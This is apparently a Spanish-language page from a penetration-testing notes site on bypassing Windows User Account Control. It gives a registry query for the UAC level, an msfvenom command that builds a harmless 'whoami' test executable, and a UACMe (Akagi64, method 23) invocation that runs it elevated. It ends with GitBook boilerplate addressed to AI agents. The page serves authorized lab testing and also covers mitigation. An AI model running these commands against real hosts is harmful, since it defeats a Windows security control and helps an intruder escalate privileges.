> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md).

# Bypass de UAC

El Control de cuentas de usuario limita la elevación automática para acciones administrativas. Un bypass de UAC solo es útil cuando el usuario actual ya tiene un token de administrador filtrado o el host tiene una configuración de elevación débil.

## Compruebe el nivel de UAC

```powershell
(Get-ItemProperty -Path "HKLM:/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System").ConsentPromptBehaviorAdmin
```

Valores comunes:

| Valor | Significado                            |
| ----- | -------------------------------------- |
| `0`   | Sin aviso de UAC                       |
| `1`   | Elevación silenciosa según el contexto |
| `2`   | Aviso estándar                         |
| `5`   | Comportamiento de aviso más estricto   |

<figure><img src="/files/b21dc6e2eb058827f5e03458c73aac2b1bc35e53" alt="UAC registry policy query"><figcaption></figcaption></figure>

<figure><img src="/files/a9b70cffcf792964f74c0f8a010352ba650129e4" alt="UAC policy value result" width="563"><figcaption></figcaption></figure>

## Prepare un binario de validación de laboratorio

```bash
msfvenom -p windows/exec CMD='cmd /c whoami /all > C:\Windows\Temp\uac-check.txt' -f exe -o uac-check.exe
```

## Ejecute con UACMe

{% embed url="<https://github.com/hfiref0x/UACME>" %}

```powershell
.\Akagi64.exe 23 C:\Temp\uac-check.exe
Get-Content C:\Windows\Temp\uac-check.txt
```

<figure><img src="/files/9ad38081138fcaf4cdfe10210a9e1317fe0938b1" alt="UACMe execution in a Windows lab"><figcaption></figcaption></figure>

## Puntos clave

* Un bypass de UAC no es una verdadera elevación desde un usuario estándar.
* Confirme el nivel de UAC y el contexto del token antes de probar.
* Use primero una acción de validación inofensiva y luego cambie a la acción de evaluación acotada solo cuando esté autorizado.
* Mitigue con una configuración estricta de UAC y evitando sesiones de administrador expuestas.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
